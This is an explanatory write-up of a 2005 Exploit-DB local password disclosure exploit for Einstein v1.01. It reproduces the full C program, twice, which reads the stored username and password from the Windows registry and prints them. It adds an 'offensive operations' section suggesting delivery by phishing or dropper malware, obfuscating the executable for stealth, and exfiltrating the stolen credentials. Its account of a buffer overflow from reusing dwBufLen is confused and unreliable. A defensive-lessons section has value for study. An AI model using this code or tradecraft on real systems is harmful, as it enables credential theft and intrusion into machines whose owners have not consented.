Einstein 1.01 - Local Password Disclosure Explained

What this paper is

This paper, "Einstein 1.01 Local Password Disclosure Exploit" by Kozan, published in 2005, describes a vulnerability in the Einstein v1.01 application (and earlier versions) produced by Bfriendly.com. The vulnerability allows a local user to retrieve stored usernames and passwords for the Einstein application. The exploit code provided demonstrates how to access these credentials by reading them from the Windows Registry.

Simple technical breakdown

The Einstein application, in its vulnerable versions, stored its configuration, including usernames and passwords, in the Windows Registry. Specifically, it used a registry key under HKEY_LOCAL_MACHINE\Software\einstein. The exploit works by:

1. Opening the Registry Key: It attempts to open the specific registry key where Einstein stores its data.
2. Querying for Username: It then tries to read the value associated with the "username" entry within that key.
3. Querying for Password: Subsequently, it attempts to read the value associated with the "password" entry.
4. Displaying Credentials: If both values are successfully read, the exploit prints the retrieved username and password to the console.
5. Error Handling: If the registry key doesn't exist (meaning Einstein is likely not installed) or if reading the values fails, it prints an error message.

Complete code and payload walkthrough

The provided C code is a straightforward program designed to interact with the Windows Registry.

/*******************************************************************

Einstein v1.01 Local Password Disclosure Exploit by Kozan

Application: Einstein v1.01 (and previous versions)
Procuder: Bfriendly.com
Vulnerable Description: Einstein v1.01 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*******************************************************************/

#include <stdio.h>
#include <windows.h>

HKEY hKey; // Global variable to hold the handle to the opened registry key.

#define BUFSIZE 100 // Defines a constant for the buffer size, set to 100 characters.
char username[BUFSIZE], password[BUFSIZE]; // Character arrays to store the retrieved username and password.
DWORD dwBufLen=BUFSIZE; // Variable to store the size of the buffer, initialized with BUFSIZE.
LONG lRet; // Variable to store the return value of registry functions.

int main(void)
{

       // Tries to open a specific registry key.
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\einstein",
                                       0, // Reserved, must be zero.
                                       KEY_QUERY_VALUE, // Access rights: allows querying values.
                                       &hKey) == ERROR_SUCCESS) // If the key is opened successfully.
       {

           // Queries the registry for the "username" value.
           lRet = RegQueryValueEx( hKey, "username", NULL, NULL, // hKey: handle to the key, "username": name of the value to query.
                                   // NULL, NULL: reserved parameters, not used here.
              (LPBYTE) username, &dwBufLen); // (LPBYTE) username: pointer to the buffer to receive the value.
                                             // &dwBufLen: pointer to a DWORD that specifies the size of the buffer and receives the actual size of the data.

                       // Checks if the query failed or if the data is larger than the buffer.
                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey); // Close the registry key handle.
                                printf("En error occured!"); // Print an error message.
                                return 0; // Exit the program.
                       }

                       // Queries the registry for the "password" value.
                       lRet = RegQueryValueEx( hKey, "password", NULL, NULL, // Similar to the username query, but for "password".
              (LPBYTE) password, &dwBufLen); // (LPBYTE) password: pointer to the buffer for the password.
                                             // &dwBufLen: buffer size for password. Note: dwBufLen is reused, which is fine if the password is shorter than BUFSIZE.

                       // Checks if the password query failed or if the data is larger than the buffer.
                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey); // Close the registry key handle.
                                printf("En error occured!"); // Print an error message.
                                return 0; // Exit the program.
                       }
                       RegCloseKey( hKey ); // Close the registry key handle as we are done with it.

                       // Prints the exploit information and the retrieved credentials.
                       printf("Einstein v1.01 Local Exploit by Kozan\n");
                       printf("Credits to ATmaCA\n");
                       printf("www.netmagister.com  -  www.spyinstructors.com\n");
                       printf("kozan@netmagister.com\n\n");
                       printf("Username: %s\n",username); // Prints the retrieved username.
                       printf("Password: %s\n",password); // Prints the retrieved password.

        }
        else{
                // If RegOpenKeyEx failed, it means the key was not found.
                printf("Einstein v1.01 is not installed on your system!\n"); // Inform the user that Einstein is likely not installed.
        }

       return 0; // Standard successful program exit.
}

// milw0rm.com [2005-02-27]

Code Fragment/Block -> Practical Purpose Mapping:

• /**************** ... ********************/: Header/Comment Block - Provides metadata about the exploit: name, author, version, description, credits, and contact information. Useful for understanding the context and origin of the exploit.
• #include <stdio.h>: Standard Input/Output Library - Enables functions like printf for displaying output to the console.
• #include <windows.h>: Windows API Library - Provides access to Windows-specific functions, including registry manipulation functions (RegOpenKeyEx, RegQueryValueEx, RegCloseKey).
• HKEY hKey;: Registry Key Handle Variable - A global variable that will store a handle to the opened registry key. This handle is used in subsequent registry operations.
• #define BUFSIZE 100: Buffer Size Definition - Defines a constant BUFSIZE to be 100. This is used for the character arrays that will hold the username and password, and also for the buffer size variable.
• char username[BUFSIZE], password[BUFSIZE];: Username and Password Buffers - Declares two character arrays, username and password, each capable of holding up to BUFSIZE characters. These will store the data read from the registry.
• DWORD dwBufLen=BUFSIZE;: Buffer Length Variable - Declares a DWORD variable dwBufLen and initializes it with BUFSIZE. This variable is crucial for RegQueryValueEx as it specifies the buffer size and is updated to reflect the actual size of the data read.
• LONG lRet;: Registry Function Return Value Variable - Declares a LONG variable lRet to store the success or failure code returned by Windows API registry functions.
• int main(void): Main Function Entry Point - The primary execution block of the C program.
• if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\einstein", 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS): Registry Key Opening - This is the core of the vulnerability check.
  • HKEY_LOCAL_MACHINE: Specifies the root of the registry hive to search within (local machine's settings).
  • "Software\\einstein": The specific registry key path where the Einstein application is expected to store its configuration.
  • 0: Reserved parameter, must be zero.
  • KEY_QUERY_VALUE: The access mask, requesting permission to read values from the key.
  • &hKey: A pointer to the HKEY variable where the handle to the opened key will be stored if successful.
  • == ERROR_SUCCESS: Checks if the RegOpenKeyEx function returned a success code. If not, the else block is executed.
• lRet = RegQueryValueEx( hKey, "username", NULL, NULL, (LPBYTE) username, &dwBufLen);: Query Username Value - Attempts to read the "username" value from the opened registry key.
  • hKey: The handle to the opened registry key.
  • "username": The name of the registry value to retrieve.
  • NULL, NULL: Reserved parameters.
  • (LPBYTE) username: A pointer to the buffer (username array) where the retrieved data will be stored. It's cast to LPBYTE (Long Pointer to Byte) as registry data is byte-oriented.
  • &dwBufLen: A pointer to the dwBufLen variable. It's initialized with the buffer size and updated by the function to the actual size of the data read.
• if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ): Username Query Error Check - Verifies if the RegQueryValueEx call for username failed (lRet != ERROR_SUCCESS) or if the retrieved data was too large for the buffer (dwBufLen > BUFSIZE). If either is true, it indicates an issue.
• RegCloseKey(hKey);: Close Registry Key - Releases the handle to the registry key, freeing up system resources. This is called in error conditions and after successful data retrieval.
• printf("En error occured!");: Error Message - Prints a generic error message to the console.
• return 0;: Program Exit - Terminates the program execution.
• lRet = RegQueryValueEx( hKey, "password", NULL, NULL, (LPBYTE) password, &dwBufLen);: Query Password Value - Similar to the username query, but attempts to read the "password" value. Note that dwBufLen is reused. If the password is longer than the username and dwBufLen was updated by the username query, this could lead to a buffer overflow if the password exceeds the remaining buffer space, or if the password is longer than BUFSIZE itself. However, the check dwBufLen > BUFSIZE after this query would catch if the password exceeds the total buffer size.
• if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ): Password Query Error Check - Verifies if the RegQueryValueEx call for password failed or if the data was too large.
• printf("Einstein v1.01 Local Exploit by Kozan\n"); ... printf("Password: %s\n",password);: Outputting Results - If all registry operations were successful, this block prints the exploit's header information and the retrieved username and password in a human-readable format.
• else { printf("Einstein v1.01 is not installed on your system!\n"); }: Einstein Not Installed Message - This block is executed if RegOpenKeyEx fails, indicating that the Software\\einstein registry key does not exist, implying the application is not installed or configured in the expected way.

Shellcode/Payload Segments:

This exploit does not contain traditional shellcode or a separate payload in the sense of executable code injected into a process. The "payload" here is the C source code itself, which when compiled, becomes an executable program. This program's action is to directly query the Windows Registry.

• Stage 1: Registry Key Access

  • Purpose: To locate and open the specific registry key (HKEY_LOCAL_MACHINE\Software\einstein) where Einstein stores its configuration.
  • Mechanism: Uses RegOpenKeyEx with HKEY_LOCAL_MACHINE and the target key path.
  • Outcome: Either obtains a handle (hKey) to the key or determines the key is not present.

• Stage 2: Credential Retrieval

  • Purpose: To extract the stored username and password values from the opened registry key.
  • Mechanism: Uses RegQueryValueEx twice, once for "username" and once for "password", reading the data into the username and password buffers respectively.
  • Outcome: Populates the username and password character arrays with the retrieved credentials, or encounters an error if values are missing or unreadable.

• Stage 3: Output

  • Purpose: To present the retrieved credentials to the user.
  • Mechanism: Uses printf to display the "Username: " and "Password: " strings followed by the contents of the username and password buffers.
  • Outcome: Displays the sensitive information on the console.

Practical details for offensive operations teams

• Required Access Level: Local Administrator privileges are generally required to open HKEY_LOCAL_MACHINE keys and query their values. Standard user accounts might have read access to some parts of HKEY_LOCAL_MACHINE, but it's not guaranteed and often restricted. The exploit code itself doesn't explicitly check for admin rights, but the underlying Windows API calls will enforce them.
• Lab Preconditions:
  • A target Windows system with Einstein v1.01 (or a vulnerable version) installed.
  • The Einstein application must have been configured and saved its credentials to the registry at HKEY_LOCAL_MACHINE\Software\einstein.
  • The exploit executable must be present on the target system.
• Tooling Assumptions:
  • A C compiler (like MinGW or Visual Studio) to compile the provided C source code into an executable.
  • Standard Windows command-line environment to run the compiled executable.
• Execution Pitfalls:
  • Application Not Installed/Configured: The most common failure point is if Einstein is not installed or if its configuration (including credentials) is not stored in the registry at the expected location. The exploit will report "Einstein v1.01 is not installed on your system!" or "En error occured!".
  • Registry Permissions: If the user running the exploit does not have sufficient permissions to read from HKEY_LOCAL_MACHINE\Software\einstein, the RegOpenKeyEx call will fail.
  • Buffer Overflow (Minor): While the code checks dwBufLen > BUFSIZE, the dwBufLen is reused for both username and password. If the username is read and fills most of BUFSIZE, and then the password is also very long, the second RegQueryValueEx might read beyond the allocated password buffer if dwBufLen is not reset correctly or if the password is just slightly larger than what's left. However, the dwBufLen > BUFSIZE check after the password read should catch if the total password length exceeds BUFSIZE. The primary risk is if the password is exactly BUFSIZE bytes and null-terminated, it fits. If it's BUFSIZE + 1 bytes, the check dwBufLen > BUFSIZE will trigger.
  • Registry Value Types: The exploit assumes the "username" and "password" values are of a type that can be read into a char buffer (e.g., REG_SZ for string). If they are different types, RegQueryValueEx might behave unexpectedly or return an error.
  • Antivirus/EDR: Modern security solutions might flag the executable as suspicious due to its direct registry access and credential retrieval behavior, especially if it's a known exploit signature.
• Tradecraft Considerations:
  • Execution Vector: This exploit requires the executable to be run on the target machine. This could be achieved via:
    • Phishing with a malicious attachment.
    • Dropper malware.
    • Manual execution by an operator after gaining initial access.
    • Scheduled tasks or startup items.
  • Stealth: Running a compiled C program directly from the command line can be noisy. For stealthier operations, consider:
    • Obfuscating the executable.
    • Embedding the logic within a more complex tool.
    • Using PowerShell or other scripting languages to perform registry queries if possible (though direct C compilation is often used for performance and simplicity in older exploits).
  • Persistence: This exploit is a one-time credential grab. For persistence, the retrieved credentials would need to be exfiltrated and then used to access the Einstein application or other systems where those credentials might be reused.
• Likely Failure Points:
  • Einstein not installed.
  • Insufficient user privileges.
  • Credentials not stored in the registry (application configured differently or never saved).
  • Registry key or values modified or deleted.
  • Security software blocking execution or registry access.

Where this was used and when

• Context: This exploit targets a specific vulnerability in the Einstein v1.01 application, a product from Bfriendly.com. Such applications in the early 2000s often stored sensitive configuration data, including passwords, in plain text or easily retrievable formats within the Windows Registry.
• Timeframe: The exploit was published on Exploit-DB in February 2005. This indicates that the vulnerability was likely discovered and exploited around that period. Applications from that era were less security-hardened, making local privilege escalation or information disclosure vulnerabilities more common.
• Usage: It's highly probable that this exploit was used by attackers with initial local access to a system running the vulnerable Einstein application to gain the application's credentials. These credentials could then be used to:
  • Access the Einstein application itself, potentially revealing more sensitive information or allowing control.
  • If the same credentials were reused on other systems or services, it would grant broader access.
  • As a stepping stone in a more complex attack chain to escalate privileges or move laterally.
  • It's unlikely this exploit was used in widespread, automated attacks due to its specificity to one application. It would more likely be part of targeted attacks or by individuals seeking to crack specific systems.

Defensive lessons for modern teams

• Secure Credential Storage: Applications should never store sensitive credentials (passwords, API keys, etc.) in plain text in configuration files or the Windows Registry. Use secure hashing, encryption, or dedicated credential management systems.
• Principle of Least Privilege: Users and applications should only have the minimum permissions necessary to perform their functions. Restricting write access to HKEY_LOCAL_MACHINE for standard users is a fundamental security practice.
• Regular Auditing and Patching: Keep all software, including third-party applications, up-to-date with the latest security patches. Regularly audit system configurations and registry entries for unusual or unauthorized modifications.
• Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious registry access patterns, such as unexpected reads from sensitive keys, or the execution of known exploit tools.
• Application Hardening: Developers should be aware of common vulnerability classes like information disclosure and implement secure coding practices to prevent such issues.
• Registry Monitoring: Implement specific monitoring for changes or reads to critical registry locations that store sensitive application configurations.

ASCII visual (if applicable)

This exploit's flow is linear and primarily involves interacting with the operating system's registry. A complex architectural diagram isn't strictly necessary for understanding its function. However, a simple representation of the process can be illustrative:

+---------------------+     +-----------------------+     +---------------------+
| Attacker's Executable| --> | Windows Registry API  | --> | HKEY_LOCAL_MACHINE  |
| (Einstein Exploit)  |     | (RegOpenKeyEx,        |     |   \-- Software      |
+---------------------+     |  RegQueryValueEx)     |     |       \-- einstein  |
                               +-----------------------+     |         \-- username|
                                                             |         \-- password|
                                                             +---------------------+
                                                                     |
                                                                     V
                                                             +---------------------+
                                                             | Attacker's Console  |
                                                             | (Displays Credentials)|
                                                             +---------------------+

Explanation:

1. The attacker's compiled executable runs on the target system.
2. It calls Windows Registry API functions.
3. These API functions interact with the Windows Registry, specifically targeting HKEY_LOCAL_MACHINE\Software\einstein.
4. The exploit attempts to read the username and password values from this key.
5. If successful, the retrieved credentials are sent back to the attacker's console for display.

Source references

• Paper ID: 846
• Paper Title: Einstein 1.01 - Local Password Disclosure
• Author: Kozan
• Published: 2005-02-27
• Keywords: Windows, local
• Paper URL: https://www.exploit-db.com/papers/846
• Raw URL: https://www.exploit-db.com/raw/846

Original Exploit-DB Content (Verbatim)

/*******************************************************************

Einstein v1.01 Local Password Disclosure Exploit by Kozan

Application: Einstein v1.01 (and previous versions)
Procuder: Bfriendly.com
Vulnerable Description: Einstein v1.01 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*******************************************************************/

#include <stdio.h>
#include <windows.h>

HKEY hKey;

#define BUFSIZE 100
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\einstein",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "username", NULL, NULL,
              (LPBYTE) username, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("En error occured!");
                                return 0;
                       }

                       lRet = RegQueryValueEx( hKey, "password", NULL, NULL,
              (LPBYTE) password, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("En error occured!");
                                return 0;
                       }
                       RegCloseKey( hKey );

                       printf("Einstein v1.01 Local Exploit by Kozan\n");
                       printf("Credits to ATmaCA\n");
                       printf("www.netmagister.com  -  www.spyinstructors.com\n");
                       printf("kozan@netmagister.com\n\n");
                       printf("Username: %s\n",username);
                       printf("Password: %s\n",password);

        }
        else{
                printf("Einstein v1.01 is not installed on your system!\n");
        }

       return 0;
}

// milw0rm.com [2005-02-27]